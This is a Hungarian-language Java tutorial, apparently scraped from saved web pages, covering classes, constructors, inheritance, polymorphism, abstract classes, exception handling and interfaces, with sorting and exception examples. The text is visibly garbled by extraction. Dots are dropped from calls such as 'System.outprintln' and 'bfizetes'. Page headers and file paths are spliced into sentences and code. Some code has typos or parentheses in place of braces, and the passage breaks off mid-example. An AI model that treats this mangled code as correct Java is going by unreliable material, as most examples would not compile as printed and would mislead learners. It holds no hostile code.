metóduson belül minõsítés nélkül hívhatjuk meg az osztály metódusait: void automatikusFizetesEmel() { if (kozepesJovedelmu(30000, 60000)) file:///E|/docs/Untitled/Osztalyok.html (3 of 15)20040118 3:00:58 Java http://www.doksihu programozás Forrás: fizetesEme;(5000); } A this pszeudováltozó Metódustörzsben az aktuális objektumra a this pszeudováltozóval hivatkozhatunk. Metódusnevek túlterhelése Több azonos nevû metódus is írhatunk az osztály definíción belül, de ezeknek szignatúrájukban különbözniük kell. Ezt a metódus nevek túlterhelésének nevezzük class Alkalmazott { . . void fezetesEmel(int nov) { fizetes += nov; } void fezetesEmel() { fizetes += 5000; } void fezetesEmel(Alkalmazott masik) { if (kevesebbetKeresMint(masik)) fizetes = masik.fizetes; } } Alkalmazott a = new Alkalmazott(), b = new Alkalmazott(); a.fezetesEmel(5000); a.fezetesEmel(); a.fezetesEmel(b); file:///E|/docs/Untitled/Osztalyok.html (4 of 15)20040118 3:00:58 Java
http://www.doksihu programozás Forrás: Fordítás közbeni adatfolyam ellenõrzés A példányváltozók mindig kapnak kezdõértéket, de a metódusok lokális változóiv nem feltétlenül, ezért a fordító program ellenõrzi, hogy adtunk-e kezdoértéket. A nem void típusú metódusokban értékkel bíró return utasítást kell elhelyezni. Ha a fordító számára nem egyértelmû a kezdõértékek megadása, hibát jelez, ekkor explicite meg kell adni. Objektumok használata Az objektum a példányosítással születik meg. Alkalmazott a = new Alkalmazott(); konstruktor // new után Az a referencia az objektumra (referencia típusú változó). Több változó is mutathat ugyanarra az objektumra: Alkalmazott a, b; a = new Alkalmazot(); b = a; a.fizetes = 50000; System.outprintln(bfizetes); ki! // 50000 -t ír Objektumok paraméterként való átadásakor az objektumra 2 referencia van. A formális paraméter referenciája az eljárásból kilépéskor megszûnik. Ha egy
változó nem mutat objektumra, a referenciája: null. Ha az objektumra nincs szükségünk, null-ra állítjuk, vagy más értéket adunk neki. Magát az objektumot a szemétgyûjtõ mechanizmus (garbage collector) szabadítja fel. Hozzáférési kategóriák Az adattagok és metódusok elérhetõsége szabályozható. Félnyilvános tagok file:///E|/docs/Untitled/Osztalyok.html (5 of 15)20040118 3:00:58 Java http://www.doksihu programozás Forrás: A jelöletlen tagokat (adat és metódus) félnyilvános tagoknak nevezzük. Ezekre csak az azonos csomagban lévõ osztályokból hivatkozhatunk. Nyilvános tagok (public) A public módosítóval ellátott tagokra bármely osztályból hivatkozhatunk. Ha egy adattagot csak olvasni engedünk meg a csomagon kívûlrõl, az adattagot privatenak jelöljük, és egy public metóduson keresztül tesszük az adatot hozzáférhetõvé a csomagon kívûlrõl. Privát tagok (private) A private adattagok csak a példánymetódusokból érhetok
el. A private metódusok is csak az osztályból érhetõk el. Leszármazottban hozzáférhetõ tagok (protected) Lásd az öröklõdésnél. Statikus tagok Az osztály egészére vonatkozó változókat osztályváltozóknak, a metódusokat pedig osztálymetódusoknak nevezzük. Ezeket a static módosító jelöli. Osztályváltozók Egyetlen példányhoz sem kötõdnek. Csak 1 létezik belõlük public class Alkalmazott { . static int nyugdijKorhatar = 62; // Osztályváltozó int eletkor; . int hatraVan() { return nyugdijKorhatar - eletkor; } } Alkalmazott a = new Alkalmazott(); a.nyugdijKorhatar = 65; Alkalmazott.nyugdijKorhatar = 65 file:///E|/docs/Untitled/Osztalyok.html (6 of 15)20040118 3:00:58 // helyes // ez is helyes Java http://www.doksihu programozás Forrás: Osztálymetódusok Osztálymetódus csak az osztályváltozókhoz férhet hozzá, a példányváltozókhoz nem! static void nyugdijKorhatarEmel() { nyugdijKorhatar++; } Hívása: a.nyugdijKorhatarEmel();
Alkalmazott.nyugdijKorhatarEmel(); Foprogram public class paramKiir { public static void main(String [] args) { if (args.length > 0) { System.outprintln("Program paraméterek:"); for (int i= 1; i<args.length; i++) System.outprintln(args[i]); } else { System.outprintln("Nincsenek program paraméterek!"); } } } Konstruktorok Példányosításkor fut le. Ha nem készítünk konstruktort, akkor is van ún implicit konstruktor. Konstruktorok definíciója: Majdnem olyan, mint egy metódus definíció. Az azonosító kötött, nincs visszatérési típus (void sincs). Csak hozzáférési file:///E|/docs/Untitled/Osztalyok.html (7 of 15)20040118 3:00:58 Java http://www.doksihu programozás Forrás: módosító használható. Pl. public class Alkalmazott { . public Alkalmazott (String nev, int fizetes) { this.nev = nev; this.fizetes = fizetes; } public Alkalmazott (String nev) { this.nev = nev; this.fizetes = 20000; } } Az aktuális paraméterek típusa
határozza meg, hogy melyik konstruktort kell hívni. Pl. konstruktorból hívható egy másik konstruktor: public Alkalmazott (String nev) { this(nev, 20000); } Példányosítás paraméterekkel Csak olyan paraméter listát adhatunk át a konstruktornak, amelynek megfelelõ konstruktort készítettünk. Ha nem írtunk konstruktort, csak paraméter nélkülit használhatunk. Ha nem írtunk paraméter nélküli konstruktort, csak paraméterezettet hívhatunk. Alkalmazott a = new Alkalmazott("Kis Kutya", 50000); Alkalmazott b = new Alkalmazott("Nagy Kutya"); file:///E|/docs/Untitled/Osztalyok.html (8 of 15)20040118 3:00:58 Java http://www.doksihu programozás Forrás: Inicializáló blokkok A változódeklaráció és a metódusdefiníció közé tehetõ. Lehetnek osztályinicializátorok és példányinicializátorok. Az osztályinicializátor az osztály szintû konstruktort pótolja (mivel ilyen nincs). Példa az osztályinicializátorra: public class
Alkalmazott { . static int[] evesSzabadsag = new int [60]; static { for (int i= 0; i<30; i++) evesSzabadsag[i] = 15; for (int i= 30; i<40; i++) evesSzabadsag[i] = evesSzabadsag[i-1] + 1; for (int i= 40; i<50; i++) evesSzabadsag[i] = evesSzabadsag[i-1] + 2 ; for (int i= 50; i<60; i++) evesSzabadsag[i] = evesSzabadsag[i-1] + 1; } . public int evesSzabadsag() { if (eletkor < 60) return evesSzabadsag[eletkor]; else return evesSzabadsag[59]; } } Destruktor jellegû metódusok Az objektumok megszûnésekor a szemétgyûjtõ felszabadítja a lefoglalt helyet, de lehet, hogy bizonyos feladatokat el kell végezni elotte. Erre való a finalize metódus Ez az õsosztály (object) metódusa. Az adott osztályban csak felûldefiniáljuk: protected void finalize() throws Throwable ( file:///E|/docs/Untitled/Osztalyok.html (9 of 15)20040118 3:00:58 Java http://www.doksihu programozás Forrás: . } A tárterület felszabadítása elott hívódik meg, de nem lehet tudni, hogy mikor!
A finalize metódus osztály színtû megfelelõje a classFinalize: static void classFinalize() throws Throwable ( . } Öröklõdés Objektumorientáció lényege : egységbe zárás (adatabsztrakció), öröklõdés, polimorfizmus. Osztály kiegészítése új tagokkal. Egy létezõ osztály kiterjesztése: új változók, új metódusok bevezetése. Pl. a Fonok osztály bevezetése az Alkalmazott osztály kiterjesztésével A Fonok osztály rendelkezik mindazon adatokkal és mûveletekkel, amellyel az Alkalmazott osztály, csak kiegészül új adatokkal és mûveletekkel. public class Fonok extends Alkalmazott { final int MAXBEOSZT = 20; Alkalmazott [] beosztottak = new Alkalmazott[MAXBEOSZT]; int beosztottakSzama = 0; public void ujBeosztott(Alkalmazott b) ( beosztottak[beosztottakSzama++] = b; ) } Szülõ ossztály: Alkalmazott (Os) Gyermek ossztály: Fonok (Leszármazott) A gyermek rendelkezik a szülõ adattagjaival is, azonban ha azok private típusúak, akkor a gyermek csak
az örökölt metódusok segítségével érheti el õket, ha azok nem private-ok. A metódusok öröklése révén kódmegosztás jön létre a szülõ és a gyermek között. file:///E|/docs/Untitled/Osztalyok.html (10 of 15)20040118 3:00:58 Java http://www.doksihu programozás Forrás: A konstruktotrok és az öröklõdés A konstruktorokat a gyermek nem örökli. Ha nem írunk a gyermekhez új konstruktort, a szülõé hajtódik végre. Ha írunk, és nem hívjuk meg explicite a szülõ valamelyik konstruktorát, a szülõ argumentum nélküli konstruktora meghívódik. public class Fonok extends Alkalmazott { . public Fonok(String nev, int fizetes) { super(nev, fizetes); // a szülo kiválasztott konstruktorának végrehajtása } public Fonok(String nev) { this(nev, 50000); konstruktorának végrehajtása } } // a Fonok másik A szülõ konstruktorának meghívása megelõzi a gyermek példány változóinak inicializálását, és az inicializáló blokk végrehajtását.
Polimorfizmus A gyermek õseinek minden változójával és metódusával rendelkezik. Ezért minden olyan környezetben használható, ahol az õsei használhatók. Egy Alkalmazott típusú változónak értékül adható egy Fonok típusú objektum. Azt a lehetõséget, hogy egy adott típusú változó nemcsak szigorúan a típusának megfelelõ, hanem a leszármazott objektumokra is hivatkozhat, polimorfizmusnak (sokalakúság) nevezzük. A változóknak így van statikus és dinamikus típusa. A statikus típus a deklarált típus, a dinamikus, pedig a változó által hivatkozott objektum tényleges típusa. A változó dinamikus típusa a program során változhat A polimorfizmus igazi erejét a metódusok felüldefiniálásának lehetõsége adja. file:///E|/docs/Untitled/Osztalyok.html (11 of 15)20040118 3:00:58 Java http://www.doksihu programozás Forrás: Példánymetódusok felüldefiniálása: A leszármazottakban szükség lehet bizonyos metódusok átírására,
mivel lehet, hogy valamit máshogyan kell csinálni, mint az õs példányban. Pl. Az Alkalmazott osztályban és a leszármazottaiban van egy potlek metódus, amely a fizetés kiegészítéseket határozza meg: public class Alkalmazott { . int nyelvekSzama; . public int potlek() { return nyelvekSzama*5000; } public int fizetesPotlekokkal () { return fizetes() + potlek(); } } public class Fonok extends Alkalmazott { . public int potlek() { return super.potlek() + beosztottakSzama +1000; } } A Fonok osztály felüldefiniál egy példánymetódust. Oszálymetódusokat nem lehet felüldefiniálni, csak átfedni. A gyermek a super minosítõvel hivatkozhat a szülõ eredeti metódusaira. A super.potlek() az Alkalmazott osztály potlek metódusát hívja A polimorfizmus tulajdonsága, hogy mindig a dinamikus típus szerinti metódus lesz meghívva. Alkalmazott a = new Fonok("Kovács János"); int p, fp; . p = a.potlek(); file:///E|/docs/Untitled/Osztalyok.html (12 of 15)20040118
3:00:58 Java http://www.doksihu programozás Forrás: fp = a.fizetesPotlekokkal(); // az örökölt fizetesPotlekokkal() metódust hívja, ez azonban a // Fonok potlek() metódusát hívja. Adinamikus kötés lehetõvé teszi, hogy a statikus típustól függetlenül, mindig a megfelelõ metódus fusson le. Osztálymetódusok elfedése Osztálymetódust nem lehet felüldefiniálni, csak elfedni. Osztálymetódus elfedi az õsökben deklarált, vele megegyezõ szignatúrájú metódusokat. Az osztálymetódusok hívása nem dinamikus, hanem statikus kötés szerint történik. Változók elfedése Az osztály kiterjesztésekor az õsökben deklarált példány- vagy osztályváltózókat elfedhetjük, azonos nevû változókkal. A gyermek csak minõsítéssel férhet hozzá az elfedett változókhoz. A protected hozzáférési kategória Az õsök public tagjaihoz a leszármazott ugyanúgy hozzáférhet, mint minden más osztály. Az örökölt félnyilvános tagokhoz a gyermek
csak akkor férhet hozzá, ha az ossel azonos csomagba tartozik. A private tagok el vannka zárva a leszármazottak elõl. A protected tagokhoz hozzáférhetnek az azonos csomagban definiált osztályok. Más csomagból csak a leszármazott osztályok férhetnek hozzá a protected tagokhoz. Az osztályhierarchia Az osztályok rokonsági viszonyainak összességét osztályhierarchiának nevezzük. A java.langObject osztály implicit módon minden más osztálynak szülõje, amely nem más osztályból származik, vagyis amelynek definíciójában nem adtuk meg az extends tagot. Közvetve minden osztály az Object leszármazottja Az Object osztály azokat a metódusokat tartalmazza, amelynekkel minden osztálynak rendelkeznie kell. file:///E|/docs/Untitled/Osztalyok.html (13 of 15)20040118 3:00:58 Java http://www.doksihu programozás Forrás: Absztrakt osztályok és metódusok Az osztályhierarchia tetejét alkotó osztályoknak inkább az a szerepük, hogy definiáljanak egy
metódus készletet, amelyek a leszármazottakat egysége keretbe foglalják. Ezek többnyire csak specifikálják a metódusokat, de nem implementálják azokat. Az ilyen osztályokat absztrakt osztályoknak nevezzük. Ezek tartalmaznak implementáció nélküli metódusokat. Az absztakt osztályok nem példányosíthatók Az absztakt osztályok absztrakt metódusai kiterjesztéskor juthatnak implementációhoz. Az absztakt osztályok annak ellenére, hogy nem példányosíthatók, lehetséges absztrakt típusú változókat deklarálni. Az ilyen változók mutathatnak a leszármazottak objektumaira. public abstract class Sikidom { public abstract double kerulet(); public abstract double terulet(); } public class Kor extends Sikidom { public double r; public double kerulet() { return 2*Math.PI*r; } public double terulet() { return r*rMath.PI; } } public class Teglalap extends Sikidom { public double a, b; public double kerulet() { return 2*ab; }
file:///E|/docs/Untitled/Osztalyok.html (14 of 15)20040118 3:00:58 Java http://www.doksihu programozás Forrás: public double terulet() { return a*b; } } Végleges osztályok és metódusok Ha nem akarjuk, hogy egy osztály kiterjeszthetõ, vagy egy metódus felüldefiniálható legyen, a final módosítót használjuk. file:///E|/docs/Untitled/Osztalyok.html (15 of 15)20040118 3:00:58 A Java kivételkezelése A Java kivételkezelése A Java hibakezelése a kivétekezelésen alapszik (Exception) A kivétel kezelése A kivétel keletkezésének módjai Megfelelõ kivételkezelõ keresése Hibakezelés A try { } blokk végrehajtásának esetei A kivételkezelés alkalmazási köre A kivételek specifikálása Kivételosztályok 1. Példa 2. Példa 3. Példa 4. Példa 5. Példa 6. Példa A Java kivételkezelése A program futása közben fellépõ hibákat kezelni kell: a programot olyan állapotba kell hozni, hogy folytatható legyen, vagy a kilépés elõtt a
tisztessséges befejezés érdekében néhány dolgot el kell végezni A Java hibakezelése a kivétekezelésen alapszik (Exception) A kivétel olyan esemény, amely megszakítja a program normális futását, és kivételes módon fut tovább. A kivételt okozhat pl.: indexhatárt túllépjük, háttértároló megtelik, illegális konverziót hajtunk végre, verem megtelik, stb A kivételek kezelése is az osztályokon alapul. Ez a hiba típusától függõ feldolgozást tesz lehetõvé, de a nyelvi elemek szempontjából a kivétel tartalma közömbös. A kivétel kezelése file:///E|/docs/Untitled/Kivetelkezeles.html (1 of 12)20040118 3:00:58 A Java kivételkezelése Hiba keletkezésekor egy kivétel objektum jön létre, amely információt tartalmaz a kivétel fajtájáról és a program állapotáról. Ezután ez az objektum a Java futtató környezet felügyelete alá kerül, vagyis az a metódus, amelyben a hiba keletkezett, kiváltja a kivételt: throwing exception
(kivétel kiváltása) A kivétel keletkezésének módjai 1. Futás közben rendellenes dolog történik (osztás 0-val) 2. A program egy throw utasítása váltja ki a kivételt (lehet a könyvtári csomagban vagy a saját osztályainkban) 3. Aszinkron kivétel lép fel Ha a program több szálon fut, és egy szál mûködése megszakad Az 1. bárhol, 2 és 3 a programnak csak meghatározott helyén léphet fel Ha egy metódus kiváltja az eseményt, a futása megszakad, és a vezérlés nem tér vissza a hiba keletkezésének helyére. Megfelelõ kivételkezelõ keresése A kivétel kiváltása után a JVM olyan helyet keres a programban, ahol a kivétel kezelése megtörténhet. A kivételt az a kivételkezelõ kódblokk fogja lekezelni, amelynek a hatókörében keletkezett, és amely megfelelõ típusú. A kivételkezelõ megfelelõ típusú, ha az általa kezelt kivétel típusa azonos a kiváltott kivétel típusával vagy õse annak. A kivételkezelõ hatókörét a
programozó határozza meg. file:///E|/docs/Untitled/Kivetelkezeles.html (2 of 12)20040118 3:00:58 A Java kivételkezelése file:///E|/docs/Untitled/Kivetelkezeles.html (3 of 12)20040118 3:00:58 A Java kivételkezelése Hibakezelés 1. A kivételkezelõ hatókörében hiba lép fel, és keletkezik egy, a hibának megfelelõ típusú kivételobjektum (Ez a kivétel kiváltása) 2. A Java virtuális gép (JVM) megkeresi a megfelelõ kivételkezelõt: elõször megnézi, hogy a kiváltott kivétel típusa azonos-e vagy leszármazottja a kivétel típus1-nek. Ha igen, akkor az ehhez tartozó kivételkezelõ blokk kapja meg a vezérlést. ha nem, akkor a kivétel típus2-vel majd kivétel típus3-mal próbálkozik. 3. A kivételkezelõ blokk végrehajtása után végrehajtja a finally blokk utasításait (ha van ilyen) 4. A program a catch, finally blokkok utáni utasítással folytatódik A try { } blokk végrehajtásának esetei 1. Nem lép fel hiba A finally blokk ekkor
is végrehajtódik (ha van) 2. Hiba lép fel, és valamelyik catch ág lekezeli a hibát Ezután a finally blokk végrehajtódik (ha van) 3. Hiba lép fel, de nincs alkalmas kivételkezelõ A finally blokk végrehajtódik, majd a hívó metódus kivételkezelõjánek adódik át a vezérlés file:///E|/docs/Untitled/Kivetelkezeles.html (4 of 12)20040118 3:00:58 A Java kivételkezelése file:///E|/docs/Untitled/Kivetelkezeles.html (5 of 12)20040118 3:00:58 A Java kivételkezelése A kivételkezelés alkalmazási köre 1. A Java nyelvnek sok kivételtípusa van: pl ArrayIndexOutOfBoundException, NumberFormatException 2. A programozó saját típusokat hozhat létre A kivételek alapvetõen 2 csoportba oszthatók: 1. Ellenõrzött kivételek 2. Nem ellenõrzött kivételek Az ellenõrzött kivételeket: 1. Elkapni, vagy 2. Specifikálni kell, máskülönben fordítási hiba lép fel. Azért vannak nem ellenõrzött kivételek is, mert vannak olyan hibák, amelyek szinte bárhol
felléphetnek, kezelésük a Java nyelven belül lehetetlen. Ez csak gondot okozna a programozóknak. A kivételek specifikálása Az olyan ellenõrzött kivételeket, amelyeket a metódusban nem kapunk el, specifikálni kell: a metódus fejében ezeket felsoroljuk, jelezve, hogy a metódus hívásakor fel kell készülni ezek elkapására. Pl. metódus () throws kivétel1, kivétel 2, { metódus törzs } Kivételek hiba keletkezésekor váltódnak ki, vagy throw utasítással is kiválthatók! Kivételosztályok java.lang Throwable a kiváltható osztályok hierarchiájának csúcsa. Ez, és ennek a leszármazottjai a throw utasítással kiválthatók. file:///E|/docs/Untitled/Kivetelkezeles.html (6 of 12)20040118 3:00:58 A Java kivételkezelése java.langError komoly hiba esetén lép fel. Pl OutOfMemoryError (elfogyott a mermória). Ritkán fordulnak elõ. Több leszármazottja van. Az Error leszármazottjai nem ellenõrzött kivételek. java.langException Ez, és ezek
leszármazottai ellenõrzött kivételek (a RunTimeException kivételével). A program teljes hibakezelését lényegében az Exception és leszármazottai segítségével oldjuk meg. A saját kivétel osztályinkat is az Exception-ból célszerû származtatni. 1. Példa public class Kivetel1 { public static void main(String [] args) { int i=0, db=0, j=0; byte max= 5; String [] tk = {"12", "34", "a56", "78", "90", "123"}; Integer [] egesz = new Integer[max]; db = max; for (j=0; j<db; j++) { System.outprintln(tk[j]); } //---------------------------------// A string tomb adatait integer tipusu tömbbe teszi // Nem ellenorzött kivéteelek: NumberFormatException, NullPointerException // elkapásuk, vagy specifikálásuk nem kötelezo! for (j=0; j<db; j++) { try { file:///E|/docs/Untitled/Kivetelkezeles.html (7 of 12)20040118 3:00:58 A Java kivételkezelése egesz[j] = new Integer(tk[j]); } catch
(NumberFormatException nf) {System.outprintln(j+1 + " adat hibas: " + tk[j]);} } // Kiirjuk az egesz tomb tartalmat for (j=0; j<db; j++) { try { System.outprintln(egesz[j]floatValue()); } catch (NullPointerException np) {System.outprintln(j+1 + " elem nem létezik!");} } } } 2. Példa public class Kivetel2 { public static void main(String [] args) { int i=0, db=0, j=0; byte max= 5; String [] tk = {"12", "34", "a56", "78", "90", "123"}; Integer [] egesz = new Integer[max]; db = max; for (j=0; j<db; j++) { System.outprintln(tk[j]); } //---------------------------------// A string tomb adatait integer tipusu tombbe teszi // Kiirjuk az egesz tömb tartalmat // Nem ellenorzött kivétel: NumberFormatException // elkapásuk, vagy specifikálásuk nem kötelezo! try { for (j=0; j<db+2; j++) { try { egesz[j] = new Integer(tk[j]); System.outprintln(egesz[j]floatValue()); // System.outprintln(new
Integer(tk[j])floatValue()); } catch (NumberFormatException nf) {System.outprintln(j+1 + " adat hibas: " + tk[j]);} } file:///E|/docs/Untitled/Kivetelkezeles.html (8 of 12)20040118 3:00:58 A Java kivételkezelése } catch (ArrayIndexOutOfBoundsException tulcsordul) {System.outprintln(" Tomb megtelt"); } } } 3. Példa import java.io*; public class Kivetel3 { public static void main(String [] args) { int i=0, db=0, j=0; byte max= 5; String [] tk = {"12", "34", "a56", "78", "90", "123"}; Integer [] egesz = new Integer[max]; db = max; for (j=0; j<db; j++) { System.outprintln(tk[j]); } FileWriter f = null; PrintWriter g = null; // Beolvasott adatokat file-ba menti try { f = new FileWriter("adat.txt"); // IOException-t el kell kapni, vagy specifikálni g = new PrintWriter(f, true); for (j=0; j<db; j++) { g.println(tk[j]); // throw new IOException(); } } catch (IOException io)
{System.outprintln(io+" hiba"); } finally {g.close();} } } 4. Példa import java.io*; file:///E|/docs/Untitled/Kivetelkezeles.html (9 of 12)20040118 3:00:58 A Java kivételkezelése public class Kivetel4 { public static void main(String [] args) { int i=0, db=0, j=0; byte max= 5; String [] tk = {"12", "34", "a56", "78", "90", "123"}; db = max; for (j=0; j<db; j++) { System.outprintln(tk[j]); } FileWriter f = null; PrintWriter g = null; // Beolvasott adatokat file-ba menti try { f = new FileWriter("adat.txt"); // IOException-t el kell kapni, vagy specifikálni g = new PrintWriter(f, true); kiir(db, g, tk); } catch (IOException io) {System.outprintln(io+" hiba"); } finally {g.close();} } // ---------------------------------------static void kiir (int db, PrintWriter g, String [] tk) throws IOException { for (int j=0; j<db; j++) { g.println(tk[j]); throw new IOException(); } } } 5.
Példa class MyException extends Exception { public MyException(String s) { super(s); } } //-----------------------------------------class Kivetel5 { file:///E|/docs/Untitled/Kivetelkezeles.html (10 of 12)20040118 3:00:58 A Java kivételkezelése static int dobo(String s) throws MyException { try { if (s.equals("osztas")) { int i = 0; return i/i; } if (s.equals("null")) { s = null; return s.length(); } if (s.equals("teszt")) { throw new MyException("Teszt üzenet"); } return 0; } finally { System.outprintln("[dobo("" + s +"") vége]"); } } public static void main(String[] args) { for (int i = 0; i < args.length; i++) { try { dobo(args[i]); System.outprintln("Teszt "" + args[i]+"" nem váltott ki kivételt"); } catch (Exception e) { System.outprintln("Teszt "" + args[i] + "" kiváltott egy kivételt: " + egetClass()+" " + egetMessage() +
" üzenettel"); } } } } 6. Példa class VeremMegteltException extends Exception { public int egesz; public VeremMegteltException(int egesz) { this.egesz = egesz; } } // -------------------------------------------class verem { final static int MERET = 3; file:///E|/docs/Untitled/Kivetelkezeles.html (11 of 12)20040118 3:00:58 A Java kivételkezelése int mutato = 0; // mutato a következo szabad helyre mutat int [] verem = new int [MERET]; void betesz(int egesz) throws VeremMegteltException { if (mutato < MERET) { verem[mutato++] = egesz; } else { throw new VeremMegteltException(egesz); } } } // -------------------------------------------public class Kivetel6 { public static void main(String [] args) { // egészeket fogunk a verembe tenni verem v = new verem(); try { v.betesz(1); v.betesz(2); v.betesz(3); v.betesz(4); } catch (VeremMegteltException vm) {System.outprintln(vmegesz + " nem fér a verembe!");} for (int i=0; i<v.mutato; i++)
System.outprintln(vverem[i]); } } file:///E|/docs/Untitled/Kivetelkezeles.html (12 of 12)20040118 3:00:58 A Java kivételkezelése Forrás: http://www.doksihu Interfészek (Interface) Az interfészek közötti öröklõdés int elemek rendezése float elemek rendezése Interfészek implementálása Interfész használata deklarációban Interfész deklarációja Interfész módosítók Interfész törzs Absztrakt metódusok Példa az interfészek kiterjesztésére Példák int elemek rendezése float elemek rendezése Rendezés típus ellenõrzéssel 1. Rendez + összead Rendezés típus ellenõrzéssel 2. Interfészek (Interface) A Java nyelv egy fontos eleme, amely nem része az osztályoknak az interfész (interface). Interfész = új referencia típus, amely absztrakt metódusok és konstansok deklarációjának összessége. Különbség az osztályokhoz képest, hogy hiányoznak a valódi, változtatható adattagok és a metódusok implementációi. Az interfész tehát egy
felületet definiál. Ez egy új absztakciós szint bevezetését jelenti A feladat megoldásának bizonyos szintjén el lehet vonatkoztatni a konkrét implementációtól. Ez növeli a megbízhatóságot, könnyíti a tervezést, könnyebb újrafelhesználható programokat (osztályokat) készíteni. Az interfészt implementációján keresztül használjuk. file:///E|/docs/Untitled/Interfeszek.html (1 of 14)20040118 3:00:59 A Java kivételkezelése Forrás: http://www.doksihu Egy osztály implementál egy interfészt, ha annak az összes metódusát implementálja. Minden olyan helyen, ahol interfész szerepel típusként, az interfészt implementáló bármilyen osztály példánya felhesználható. Az interfészek közötti öröklõdés Az interfészek között is létrehozható szülõ-gyermek kapcsolat, ezt kiterjesztésnek nevezzük. Interfészek között többszörös öröklõdés (kiterjesztés) is lehetséges (ellentétben az osztályokkal). Az interfészeknek nincs
közös õsinterfésze, mint az osztályoknak az object. Két példa: int elemek rendezése float elemek rendezése Nézzük meg, mit kell átalakítani? Interfészek implementálása class osztálynév [extends õsosztály] implements interfész1, interfész2,* { adattagok konstruktorok metódusok interfész metódusainak implementációja (a metódus feje megegyezik az interfészben deklarálttal) } * a többszörös "öröklést" valósítja meg file:///E|/docs/Untitled/Interfeszek.html (2 of 14)20040118 3:00:59 A Java kivételkezelése Forrás: http://www.doksihu Az összes absztrakt metódust implementálni kell! Interfész használata deklarációban Az interfésznév szerepelhet deklarációban, formális paraméterként. A változónév olyan referenciát jelent, amely az interfészt implementáló osztály valamelyik példányára mutat. Interfész deklarációja [interfész módosítók] interface interfésznév [kiterjesztett interfészek] { konstansok
deklarációi absztrakt metódusok (csak a metódus fejfe!) } Az interfész neve lehetõleg -ható, -hetõ -re végzõdjön, jelezve, hogy az interfész képes megvalósítani a nevében jelzett mûveletet. Az -able végzõdésû nevek interfészt jelölnek. Interfész módosítók abstract (alapértelmezett, nem kell használni) public ( az interfész más csomagból is elérhetõ) Interfész törzs konstans definíciók metódus deklarációk // implicit publikus // implicit publikus file:///E|/docs/Untitled/Interfeszek.html (3 of 14)20040118 3:00:59 A Java kivételkezelése Forrás: http://www.doksihu Konstansok: [módosítók] típus azonosító inicialzáló módosítók: alapértelmezés = public, static, final típus: létezõ típus. Pl char [] c = {a, b, c, d} Absztrakt metódusok Olyan, mint az osztály metódusainak deklarációja törzs nélkül: [módosítók] visszatérési típus metódusnév() [kiváltható kivételek] metódus módosítók: public, abstract //
nem kell megadni Példa az interfészek kiterjesztésére interface Gyumolcs { void egyedMeg(int i); } interface Alma extends Gyumolcs{ int színe(); void színÁllít(int i); } interface Korte { int mérete(); void méretÁllít(int i); } class Jonatan implements Alma { int szín; public void színÁllít(int i) { szín=i; } public int színe() { return szín; } public void egyedMeg(int i) { System.outprintln("Finom volt"); file:///E|/docs/Untitled/Interfeszek.html (4 of 14)20040118 3:00:59 A Java kivételkezelése Forrás: http://www.doksihu } } class VilmosKorte implements Korte { int méret; public void méretÁllít(int i) { méret=i; } public int mérete() { return méret; } } public class Teszt { public static void main(String args[]){ Alma b; b=new Jonatan(); b.színÁllít(5); System.outprintln(bszíne()); b.egyedMeg(3); } } int elemek rendezése // Egészek rendezése //-----------------------------------// File: Rendezheto2.java public interface Rendezheto2 {
boolean kisebbMint(Rendezheto2 s); } //-----------------------------------// File: Rendez2.java // Rendez2 osztály újrafelhasználható public class Rendez2 { public static void rend(Rendezheto2 [] tomb) { int n = tomb.length; int i, j; Rendezheto2 temp; for (i=0; i<n; i++) { file:///E|/docs/Untitled/Interfeszek.html (5 of 14)20040118 3:00:59 A Java kivételkezelése Forrás: http://www.doksihu for (j=i+1; j<n; j++) { if (tomb[j].kisebbMint(tomb[i])) { temp = tomb[i]; tomb[i] = tomb[j]; tomb[j] = temp; } } } } } //-----------------------------------// File: RendezTeszt2.java class RendezTeszt2 { public static void main(String [] args) { EgeszRendez [] in = new EgeszRendez[6]; in[0] = new EgeszRendez(7); in[1] = new EgeszRendez(9); in[2] = new EgeszRendez(4); in[3] = new EgeszRendez(8); in[4] = new EgeszRendez(1); in[5] = new EgeszRendez(5); Rendez2.rend(in); // Rendezés meghívása for (int i=0; i<in.length; i++) System.outprintln(in[i]); } } // Interfész
implementálása class EgeszRendez implements Rendezheto2 { int tetel; public EgeszRendez(int elem) { tetel = elem; } public boolean kisebbMint(Rendezheto2 elem){ // Interfész metódusának implementálása return tetel < ((EgeszRendez)elem).tetel; } public String toString() { return "" + tetel; file:///E|/docs/Untitled/Interfeszek.html (6 of 14)20040118 3:00:59 A Java kivételkezelése Forrás: http://www.doksihu } } //------------------------------------ float elemek rendezése // Valós számok rendezése //-----------------------------------// File: Rendezheto2.java public interface Rendezheto2 { boolean kisebbMint(Rendezheto2 s); } //-----------------------------------// File: Rendez2.java // Rendez2 osztály újrafelhasználható public class Rendez2 { public static void rend(Rendezheto2 [] tomb) { int n = tomb.length; int i, j; Rendezheto2 temp; for (i=0; i<n; i++) { for (j=i+1; j<n; j++) { if (tomb[j].kisebbMint(tomb[i])) { temp = tomb[i]; tomb[i] =
tomb[j]; tomb[j] = temp; } } } } } //-----------------------------------// File: RendezTeszt3.java class RendezTeszt3 { public static void main(String [] args) { file:///E|/docs/Untitled/Interfeszek.html (7 of 14)20040118 3:00:59 A Java kivételkezelése Forrás: http://www.doksihu FloatRendez [] in = new FloatRendez[6]; in[0] = new FloatRendez(7); in[1] = new FloatRendez(9); in[2] = new FloatRendez(4); in[3] = new FloatRendez(8); in[4] = new FloatRendez(1); in[5] = new FloatRendez(5); Rendez2.rend(in); // Rendezés meghívása for (int i=0; i<in.length; i++) System.outprintln(in[i]); } } // Interfész implementálása class FloatRendez implements Rendezheto2 { float tetel; public FloatRendez(float elem) { tetel = elem; } public boolean kisebbMint(Rendezheto2 elem){ // Interfész metódusának implementálása return tetel < ((FloatRendez)elem).tetel; } public String toString() { return "" + tetel; } } //------------------------------------ Rendezés típus
ellenõrzéssel 1. //-----------------------------------// File: ErvenytelenTipusException.java public class ErvenytelenTipusException extends Exception{ public ErvenytelenTipusException(String s) { super(s); } } file:///E|/docs/Untitled/Interfeszek.html (8 of 14)20040118 3:00:59 A Java kivételkezelése Forrás: http://www.doksihu //-----------------------------------// File: Rendezheto.java public interface Rendezheto { boolean kisebbMint(Rendezheto s) throws ErvenytelenTipusException; } //-----------------------------------// File: Rendez.java public class Rendez { public static void rend(Rendezheto [] tomb) throws ErvenytelenTipusException { int n = tomb.length; int i, j; Rendezheto temp; for (i=0; i<n; i++) { for (j=i+1; j<n; j++) { if (tomb[j].kisebbMint(tomb[i])) { temp = tomb[i]; tomb[i] = tomb[j]; tomb[j] = temp; } } } } } //-----------------------------------// File: RendezTeszt1.java class RendezTeszt1 { public static void main(String [] args) { EgeszRendez [] in =
